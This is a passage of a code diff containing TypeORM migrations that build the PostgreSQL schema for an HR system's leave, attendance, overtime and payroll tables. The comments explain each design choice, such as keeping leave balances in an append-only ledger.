"base_days_per_year" numeric(6,2) NOT NULL DEFAULT 0,
"extra_days_per_period" numeric(6,2) NOT NULL DEFAULT 0,
"service_period_years" smallint NOT NULL DEFAULT 0,
"max_days_per_year" numeric(6,2),
"max_carry_over_days" numeric(6,2) NOT NULL DEFAULT 0,
"max_consecutive_days" numeric(6,2),
"min_service_months" smallint NOT NULL DEFAULT 0,
"gender_restriction" varchar(8) NOT NULL DEFAULT 'ANY',
"counts_working_days_only" boolean NOT NULL DEFAULT true,
"allows_half_day" boolean NOT NULL DEFAULT false,
"requires_attachment_after" numeric(6,2),
"requires_approval" boolean NOT NULL DEFAULT true,
"statute_reference" varchar(64),
"sort_order" smallint NOT NULL DEFAULT 100,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_leave_types_accrual_method"
CHECK ("accrual_method" IN ('NONE','ANNUAL_ENTITLEMENT','MONTHLY_ACCRUAL')),
CONSTRAINT "ck_leave_types_gender"
CHECK ("gender_restriction" IN ('ANY','MALE','FEMALE')),
CONSTRAINT "ck_leave_types_base_days" CHECK ("base_days_per_year" >= 0),
CONSTRAINT "ck_leave_types_extra_days" CHECK ("extra_days_per_period" >= 0),
CONSTRAINT "ck_leave_types_carry_over" CHECK ("max_carry_over_days" >= 0),
CONSTRAINT "ck_leave_types_min_service" CHECK ("min_service_months" >= 0),
-- An accrual that grows with service needs a period to grow over;
-- "+1 day every 0 years" would divide by zero at entitlement time.
CONSTRAINT "ck_leave_types_service_period"
CHECK ("extra_days_per_period" = 0 OR "service_period_years" > 0)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_types_org_code"
ON "hr"."leave_types" ("organization_id", "code") WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_types_organization_id"
ON "hr"."leave_types" ("organization_id")
`);
// ── holidays ──────────────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."holidays" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid,
"observed_on" date NOT NULL,
"name" jsonb NOT NULL,
"holiday_type" varchar(16) NOT NULL DEFAULT 'PUBLIC',
"is_estimated" boolean NOT NULL DEFAULT false,
"is_working_day" boolean NOT NULL DEFAULT false,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_holidays_type"
CHECK ("holiday_type" IN ('PUBLIC','RELIGIOUS','ORGANIZATION'))
)
`);
// organization_id is nullable — NULL means "national, applies to everyone".
// COALESCE keeps the unique index working across that NULL, which a plain
// multi-column unique index would not (NULLs never collide).
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_holidays_scope_date"
ON "hr"."holidays" (
COALESCE("organization_id", '00000000-0000-0000-0000-000000000000'::uuid),
"observed_on"
) WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_holidays_observed_on"
ON "hr"."holidays" ("observed_on")
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."holidays"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_types"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_settings"`);
}
}

View File

@@ -0,0 +1,124 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Leave balances — Module 3.2, slice 2.
*
* A balance is NOT a column that gets incremented. It is the sum of an
* append-only ledger, because the question people actually ask is never "how
* many days are left" on its own — it is "why is it that number", asked months
* later, usually in a dispute. A mutable counter cannot answer that, and a
* counter plus a separate audit log drifts the first time a write half-fails.
*
* Two tables:
*
* - `leave_entitlements` — one row per employee, per leave type, per leave
* year. The envelope: which year, what was granted, what carried in. Balance
* is not stored on it.
* - `leave_ledger_entries` — every movement, immutable. Grants, carry-over,
* deductions, expiry, adjustments and reversals are all entries; nothing is
* ever updated or deleted, and a mistake is corrected by posting the
* opposite entry so the record of the mistake survives.
*
* `days` is signed: positive adds, negative removes. Summing the column IS the
* balance, which means no code path can produce a balance that disagrees with
* its own history.
*/
export class HrLeaveBalances3600000000005 implements MigrationInterface {
name = "HrLeaveBalances3600000000005";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."leave_entitlements" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"leave_type_id" uuid NOT NULL,
"leave_year_start" date NOT NULL,
"leave_year_end" date NOT NULL,
"entitled_days" numeric(7,2) NOT NULL DEFAULT 0,
"carried_over_days" numeric(7,2) NOT NULL DEFAULT 0,
"carry_over_expires_on" date,
"service_years_at_grant" numeric(5,2) NOT NULL DEFAULT 0,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_leave_entitlements_type"
FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"),
CONSTRAINT "ck_leave_entitlements_year"
CHECK ("leave_year_end" > "leave_year_start"),
CONSTRAINT "ck_leave_entitlements_days"
CHECK ("entitled_days" >= 0 AND "carried_over_days" >= 0)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_entitlements_employee_type_year"
ON "hr"."leave_entitlements"
("employee_id", "leave_type_id", "leave_year_start")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_entitlements_employee"
ON "hr"."leave_entitlements" ("employee_id")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."leave_ledger_entries" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"entitlement_id" uuid NOT NULL,
"entry_type" varchar(16) NOT NULL,
"days" numeric(7,2) NOT NULL,
"effective_on" date NOT NULL,
"reason" varchar(256),
"source_type" varchar(24),
"source_id" uuid,
"reverses_id" uuid,
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "fk_leave_ledger_entitlement"
FOREIGN KEY ("entitlement_id")
REFERENCES "hr"."leave_entitlements" ("id") ON DELETE CASCADE,
CONSTRAINT "fk_leave_ledger_reverses"
FOREIGN KEY ("reverses_id")
REFERENCES "hr"."leave_ledger_entries" ("id"),
CONSTRAINT "ck_leave_ledger_entry_type"
CHECK ("entry_type" IN
('GRANT','CARRY_OVER','DEDUCTION','EXPIRY','ADJUSTMENT','REVERSAL')),
-- Sign is fixed by type so a "deduction" can never quietly add days.
CONSTRAINT "ck_leave_ledger_sign" CHECK (
("entry_type" IN ('GRANT','CARRY_OVER') AND "days" > 0) OR
("entry_type" IN ('DEDUCTION','EXPIRY') AND "days" < 0) OR
("entry_type" IN ('ADJUSTMENT','REVERSAL'))
),
-- A reversal exists only to undo one specific entry.
CONSTRAINT "ck_leave_ledger_reversal_target" CHECK (
("entry_type" = 'REVERSAL' AND "reverses_id" IS NOT NULL) OR
("entry_type" <> 'REVERSAL' AND "reverses_id" IS NULL)
)
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_ledger_entitlement"
ON "hr"."leave_ledger_entries" ("entitlement_id")
`);
// Looking up "was this request already deducted?" when a request is
// cancelled or amended.
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_ledger_source"
ON "hr"."leave_ledger_entries" ("source_type", "source_id")
WHERE "source_id" IS NOT NULL
`);
// One reversal per entry: reversing twice would credit the days back twice.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_ledger_one_reversal"
ON "hr"."leave_ledger_entries" ("reverses_id")
WHERE "reverses_id" IS NOT NULL
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_ledger_entries"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_entitlements"`);
}
}

View File

@@ -0,0 +1,96 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Leave requests — Module 3.2, slice 3.
*
* The request is a document with a state machine; the ledger remains the only
* place days move. An approval writes both in one transaction, so a request can
* never be approved without its deduction (leave taken and not counted) nor
* deducted without being approved (days lost to nothing).
*
* `working_days` and `calendar_days` are BOTH stored, computed at submission
* against the working week and holiday calendar as they stood that day. They are
* not recomputed on read: an employer who moves from a six-day to a five-day
* week must not silently rewrite the length of every absence already taken.
*
* `decided_by_employee_id` is a soft reference to `iam.employees`, like the rest
* of this schema.
*/
export class HrLeaveRequests3600000000006 implements MigrationInterface {
name = "HrLeaveRequests3600000000006";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."leave_requests" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"leave_type_id" uuid NOT NULL,
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
"start_date" date NOT NULL,
"end_date" date NOT NULL,
"is_half_day" boolean NOT NULL DEFAULT false,
"working_days" numeric(7,2) NOT NULL,
"calendar_days" numeric(7,2) NOT NULL,
"charged_days" numeric(7,2) NOT NULL,
"reason" varchar(512),
"contact_during_leave" varchar(64),
"attachment_document_id" uuid,
"approver_employee_id" uuid,
"decided_by_employee_id" uuid,
"decided_at" timestamptz,
"decision_note" varchar(512),
"cancelled_reason" varchar(512),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_leave_requests_type"
FOREIGN KEY ("leave_type_id") REFERENCES "hr"."leave_types" ("id"),
CONSTRAINT "ck_leave_requests_status"
CHECK ("status" IN
('DRAFT','SUBMITTED','APPROVED','REJECTED','CANCELLED','WITHDRAWN')),
CONSTRAINT "ck_leave_requests_dates" CHECK ("end_date" >= "start_date"),
CONSTRAINT "ck_leave_requests_days"
CHECK ("working_days" >= 0 AND "calendar_days" >= 0 AND "charged_days" >= 0),
-- A half day is a single date by definition.
CONSTRAINT "ck_leave_requests_half_day"
CHECK ("is_half_day" = false OR "start_date" = "end_date"),
-- A decided request must say who decided it and when.
CONSTRAINT "ck_leave_requests_decision" CHECK (
"status" NOT IN ('APPROVED','REJECTED')
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
)
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_requests_employee"
ON "hr"."leave_requests" ("employee_id", "start_date")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_requests_approver"
ON "hr"."leave_requests" ("approver_employee_id")
WHERE "status" = 'SUBMITTED'
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_requests_org_status"
ON "hr"."leave_requests" ("organization_id", "status")
`);
// Overlap detection reads by employee across a date range; a GiST exclusion
// constraint was considered and rejected — a rejected or cancelled request
// may legitimately overlap a later approved one, and the predicate for
// "only the live ones" is not expressible in an exclusion constraint
// without a partial index over a range type this schema does not otherwise
// use. The check lives in the service, which also has to explain itself.
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_leave_requests_live_range"
ON "hr"."leave_requests" ("employee_id", "start_date", "end_date")
WHERE "status" IN ('SUBMITTED','APPROVED') AND "deleted_at" IS NULL
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."leave_requests"`);
}
}

View File

@@ -0,0 +1,174 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Attendance foundation — Module 3.3, slice 1.
*
* - `work_schedules` shift patterns: when the day starts, how long
* the break is, how late is late.
* - `work_schedule_assignments` who is on which pattern, with effective dates,
* so a shift change does not rewrite the
* attendance already recorded under the old one.
* - `attendance_records` one row per employee per date. `work_date` is
* a DATE, not a timestamp: a night shift that
* ends at 02:00 belongs to the day it started,
* and keying on a timestamp would file it under
* the wrong day and double-count the boundary.
*
* Every timing rule (grace period, hours for a full day) is a column, following
* the same principle as leave: the numbers are an employer's policy, not the
* developer's.
*
* Times are stored as `time` and `timestamptz` deliberately. The clock time a
* shift starts is a wall-clock fact with no date and no zone; a punch is an
* instant and needs both.
*/
export class HrAttendanceFoundation3600000000007 implements MigrationInterface {
name = "HrAttendanceFoundation3600000000007";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."work_schedules" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"start_time" time NOT NULL DEFAULT '08:30',
"end_time" time NOT NULL DEFAULT '17:30',
"break_minutes" smallint NOT NULL DEFAULT 60,
"grace_period_minutes" smallint NOT NULL DEFAULT 10,
"working_days" smallint[],
"min_minutes_full_day" smallint NOT NULL DEFAULT 420,
"min_minutes_half_day" smallint NOT NULL DEFAULT 210,
"crosses_midnight" boolean NOT NULL DEFAULT false,
"is_default" boolean NOT NULL DEFAULT false,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_work_schedules_break"
CHECK ("break_minutes" >= 0 AND "break_minutes" < 1440),
CONSTRAINT "ck_work_schedules_grace"
CHECK ("grace_period_minutes" >= 0 AND "grace_period_minutes" <= 240),
CONSTRAINT "ck_work_schedules_thresholds"
CHECK ("min_minutes_half_day" >= 0
AND "min_minutes_full_day" >= "min_minutes_half_day"),
-- A shift that ends at or before it starts must say it crosses midnight,
-- or its duration computes as zero or negative.
CONSTRAINT "ck_work_schedules_span"
CHECK ("crosses_midnight" = true OR "end_time" > "start_time")
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_org_code"
ON "hr"."work_schedules" ("organization_id", "code")
WHERE "deleted_at" IS NULL
`);
// At most one default per organization — two would make "which applies?"
// depend on row order.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_work_schedules_one_default"
ON "hr"."work_schedules" ("organization_id")
WHERE "is_default" = true AND "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."work_schedule_assignments" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"work_schedule_id" uuid NOT NULL,
"effective_from" date NOT NULL,
"effective_to" date,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_schedule_assignments_schedule"
FOREIGN KEY ("work_schedule_id")
REFERENCES "hr"."work_schedules" ("id"),
CONSTRAINT "ck_schedule_assignments_range"
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_schedule_assignments_employee"
ON "hr"."work_schedule_assignments" ("employee_id", "effective_from")
`);
// One open-ended assignment per employee: two would make "current schedule"
// ambiguous, which is the thing this table exists to answer.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_schedule_assignments_open"
ON "hr"."work_schedule_assignments" ("employee_id")
WHERE "effective_to" IS NULL AND "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."attendance_records" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"work_date" date NOT NULL,
"work_schedule_id" uuid,
"check_in" timestamptz,
"check_out" timestamptz,
"status" varchar(16) NOT NULL DEFAULT 'ABSENT',
"worked_minutes" integer NOT NULL DEFAULT 0,
"late_minutes" integer NOT NULL DEFAULT 0,
"early_leave_minutes" integer NOT NULL DEFAULT 0,
"source" varchar(16) NOT NULL DEFAULT 'WEB',
"leave_request_id" uuid,
"notes" varchar(512),
"is_regularized" boolean NOT NULL DEFAULT false,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_attendance_schedule"
FOREIGN KEY ("work_schedule_id") REFERENCES "hr"."work_schedules" ("id"),
CONSTRAINT "fk_attendance_leave_request"
FOREIGN KEY ("leave_request_id") REFERENCES "hr"."leave_requests" ("id"),
CONSTRAINT "ck_attendance_status"
CHECK ("status" IN
('PRESENT','LATE','ABSENT','HALF_DAY','ON_LEAVE','HOLIDAY','REST_DAY')),
CONSTRAINT "ck_attendance_source"
CHECK ("source" IN ('WEB','MOBILE','BIOMETRIC','MANUAL','IMPORT','SYSTEM')),
CONSTRAINT "ck_attendance_minutes"
CHECK ("worked_minutes" >= 0 AND "late_minutes" >= 0
AND "early_leave_minutes" >= 0),
-- Cannot leave before arriving.
CONSTRAINT "ck_attendance_punch_order"
CHECK ("check_out" IS NULL OR "check_in" IS NULL
OR "check_out" >= "check_in"),
-- ON_LEAVE must point at the leave that explains it, so an absence can
-- never be excused by a leave request nobody can find.
CONSTRAINT "ck_attendance_leave_link"
CHECK ("status" <> 'ON_LEAVE' OR "leave_request_id" IS NOT NULL)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_attendance_employee_date"
ON "hr"."attendance_records" ("employee_id", "work_date")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_attendance_org_date"
ON "hr"."attendance_records" ("organization_id", "work_date")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_attendance_status"
ON "hr"."attendance_records" ("work_date", "status")
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."attendance_records"`);
await queryRunner.query(
`DROP TABLE IF EXISTS "hr"."work_schedule_assignments"`,
);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."work_schedules"`);
}
}

View File

@@ -0,0 +1,168 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Regularization and overtime — Module 3.3, slice 2.
*
* - `attendance_regularizations` a request to correct a punch that was missed
* or wrong. The correction is applied only on
* approval, and the original values are kept on
* the row, so "what did it say before?" is
* answerable without an audit table.
* - `overtime_rates` the multipliers, per organization. Data, not
* constants: Proclamation 1156/2019 Art. 68
* sets 1.5× ordinary, 1.75× night, 2× on the
* weekly rest day and 2.5× on a public holiday,
* and an employer may pay more but not less.
* - `overtime_requests` hours claimed, with the category and the
* multiplier FROZEN at approval — a rate change
* next year must not silently reprice work
* already done and already paid.
*
* Art. 67 caps overtime at two hours a day; that limit is a column on the rate
* table rather than a constant, for the same reason.
*/
export class HrAttendanceOvertime3600000000008 implements MigrationInterface {
name = "HrAttendanceOvertime3600000000008";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."attendance_regularizations" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"attendance_record_id" uuid,
"work_date" date NOT NULL,
"requested_check_in" timestamptz,
"requested_check_out" timestamptz,
"original_check_in" timestamptz,
"original_check_out" timestamptz,
"original_status" varchar(16),
"reason" varchar(512) NOT NULL,
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
"approver_employee_id" uuid,
"decided_by_employee_id" uuid,
"decided_at" timestamptz,
"decision_note" varchar(512),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_regularizations_record"
FOREIGN KEY ("attendance_record_id")
REFERENCES "hr"."attendance_records" ("id"),
CONSTRAINT "ck_regularizations_status"
CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')),
CONSTRAINT "ck_regularizations_punch_order"
CHECK ("requested_check_out" IS NULL OR "requested_check_in" IS NULL
OR "requested_check_out" >= "requested_check_in"),
-- A correction that corrects nothing is not a correction.
CONSTRAINT "ck_regularizations_something"
CHECK ("requested_check_in" IS NOT NULL
OR "requested_check_out" IS NOT NULL),
CONSTRAINT "ck_regularizations_decision" CHECK (
"status" NOT IN ('APPROVED','REJECTED')
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
)
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_regularizations_employee"
ON "hr"."attendance_regularizations" ("employee_id", "work_date")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_regularizations_approver"
ON "hr"."attendance_regularizations" ("approver_employee_id")
WHERE "status" = 'SUBMITTED'
`);
// One open request per day: two competing corrections for the same date
// would make "which one did we apply?" depend on approval order.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_regularizations_open_per_day"
ON "hr"."attendance_regularizations" ("employee_id", "work_date")
WHERE "status" = 'SUBMITTED' AND "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."overtime_rates" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"category" varchar(24) NOT NULL,
"multiplier" numeric(5,2) NOT NULL,
"max_hours_per_day" numeric(5,2),
"statute_reference" varchar(64),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_overtime_rates_category"
CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')),
-- Below 1.0 the "overtime" would pay less than ordinary time.
CONSTRAINT "ck_overtime_rates_multiplier"
CHECK ("multiplier" >= 1.00 AND "multiplier" <= 10.00),
CONSTRAINT "ck_overtime_rates_max_hours"
CHECK ("max_hours_per_day" IS NULL OR "max_hours_per_day" > 0)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_overtime_rates_org_category"
ON "hr"."overtime_rates" ("organization_id", "category")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."overtime_requests" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"work_date" date NOT NULL,
"started_at" timestamptz NOT NULL,
"ended_at" timestamptz NOT NULL,
"hours" numeric(6,2) NOT NULL,
"category" varchar(24) NOT NULL,
"multiplier" numeric(5,2) NOT NULL,
"status" varchar(16) NOT NULL DEFAULT 'SUBMITTED',
"reason" varchar(512),
"approver_employee_id" uuid,
"decided_by_employee_id" uuid,
"decided_at" timestamptz,
"decision_note" varchar(512),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_overtime_requests_category"
CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')),
CONSTRAINT "ck_overtime_requests_status"
CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')),
CONSTRAINT "ck_overtime_requests_span" CHECK ("ended_at" > "started_at"),
CONSTRAINT "ck_overtime_requests_hours"
CHECK ("hours" > 0 AND "hours" <= 24),
CONSTRAINT "ck_overtime_requests_multiplier" CHECK ("multiplier" >= 1.00),
CONSTRAINT "ck_overtime_requests_decision" CHECK (
"status" NOT IN ('APPROVED','REJECTED')
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
)
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_overtime_requests_employee"
ON "hr"."overtime_requests" ("employee_id", "work_date")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_overtime_requests_approver"
ON "hr"."overtime_requests" ("approver_employee_id")
WHERE "status" = 'SUBMITTED'
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_requests"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_rates"`);
await queryRunner.query(
`DROP TABLE IF EXISTS "hr"."attendance_regularizations"`,
);
}
}

View File

@@ -0,0 +1,225 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Payroll foundation — Module 3.4, slice 1.
*
* Money is `numeric(14,2)` everywhere and never a float. Rates are
* `numeric(7,4)` so a 7% pension contribution is 0.0700 exactly rather than a
* binary approximation that drifts over 2,400 payslips.
*
* - `salary_components` the catalogue: basic, allowances, deductions and
* employer contributions, each saying how it is
* computed and whether it is taxable and pensionable.
* - `salary_structures` a named set of components, usually per grade.
* - `salary_structure_lines` the components in a structure, with their amounts.
* - `employee_salaries` what an employee is actually on, effective-dated —
* a raise must not rewrite last month's payslip.
* - `income_tax_brackets` Schedule B, effective-dated. The bands are DATA:
* Ethiopia has revised them before and will again,
* and a payslip recomputed under a later schedule
* than the month it belongs to is simply wrong.
* - `statutory_rates` pension and anything else expressed as a rate.
*
* No foreign keys into `iam.*`, as everywhere else in this schema.
*/
export class HrPayrollFoundation3600000000009 implements MigrationInterface {
name = "HrPayrollFoundation3600000000009";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."salary_components" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"component_type" varchar(24) NOT NULL,
"calculation" varchar(24) NOT NULL DEFAULT 'FIXED',
"default_amount" numeric(14,2),
"default_rate" numeric(7,4),
"is_taxable" boolean NOT NULL DEFAULT true,
"is_pensionable" boolean NOT NULL DEFAULT false,
"tax_exempt_amount" numeric(14,2),
"tax_exempt_rate_of_basic" numeric(7,4),
"affects_net_pay" boolean NOT NULL DEFAULT true,
"statute_reference" varchar(64),
"sort_order" smallint NOT NULL DEFAULT 100,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_salary_components_type"
CHECK ("component_type" IN
('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION')),
CONSTRAINT "ck_salary_components_calculation"
CHECK ("calculation" IN
('FIXED','PERCENT_OF_BASIC','PERCENT_OF_GROSS','PERCENT_OF_TAXABLE','STATUTORY')),
CONSTRAINT "ck_salary_components_amounts"
CHECK ("default_amount" IS NULL OR "default_amount" >= 0),
CONSTRAINT "ck_salary_components_rate"
CHECK ("default_rate" IS NULL OR ("default_rate" >= 0 AND "default_rate" <= 1)),
-- A partial exemption is expressed as a cap, a fraction of basic, or
-- both (the lower wins). Negative values would create phantom income.
CONSTRAINT "ck_salary_components_exempt"
CHECK (("tax_exempt_amount" IS NULL OR "tax_exempt_amount" >= 0)
AND ("tax_exempt_rate_of_basic" IS NULL
OR ("tax_exempt_rate_of_basic" >= 0 AND "tax_exempt_rate_of_basic" <= 1)))
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_components_org_code"
ON "hr"."salary_components" ("organization_id", "code")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."salary_structures" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"description" jsonb,
"job_title_id" uuid,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_salary_structures_job_title"
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id")
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_structures_org_code"
ON "hr"."salary_structures" ("organization_id", "code")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."salary_structure_lines" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"salary_structure_id" uuid NOT NULL,
"salary_component_id" uuid NOT NULL,
"amount" numeric(14,2),
"rate" numeric(7,4),
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
CONSTRAINT "fk_structure_lines_structure"
FOREIGN KEY ("salary_structure_id")
REFERENCES "hr"."salary_structures" ("id") ON DELETE CASCADE,
CONSTRAINT "fk_structure_lines_component"
FOREIGN KEY ("salary_component_id")
REFERENCES "hr"."salary_components" ("id"),
CONSTRAINT "ck_structure_lines_amount"
CHECK ("amount" IS NULL OR "amount" >= 0),
